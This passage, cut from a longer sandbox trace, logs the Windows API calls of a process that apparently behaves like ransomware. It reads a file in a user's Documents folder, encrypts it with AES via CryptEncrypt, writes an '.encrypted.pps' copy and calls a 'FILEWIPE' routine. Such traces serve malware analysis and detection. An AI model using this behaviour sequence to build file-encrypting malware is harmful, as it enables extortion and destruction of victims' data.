wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.286] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.286] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\ljdvlgso.encrypted.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.287] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x268d, lpOverlapped=0x0) returned 1 [0025.288] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.289] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.290] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.290] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.291] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.291] CryptGetKeyParam (in: hKey=0xe8f4062800, dwParam=0x7, pbData=0xe8f4064d90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.292] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.292] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.292] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.292] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x268d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2690) returned 1 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.292] CharLowerBuffW (in: lpsz="byte[9873]", cchLength=0xa | out: lpsz="byte[9873]") returned 0xa [0025.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.293] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.293] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x268d, dwBufLen=0x2690 | out: pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x2690) returned 1 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.293] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.293] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.294] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.294] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.294] CryptDestroyKey (hKey=0xe8f4062800) returned 1 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.294] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.294] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.295] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.295] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.295] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.295] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.296] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.296] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.297] CharLowerBuffW (in: lpsz="byte[9869]", cchLength=0xa | out: lpsz="byte[9869]") returned 0xa [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.297] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.297] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.297] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 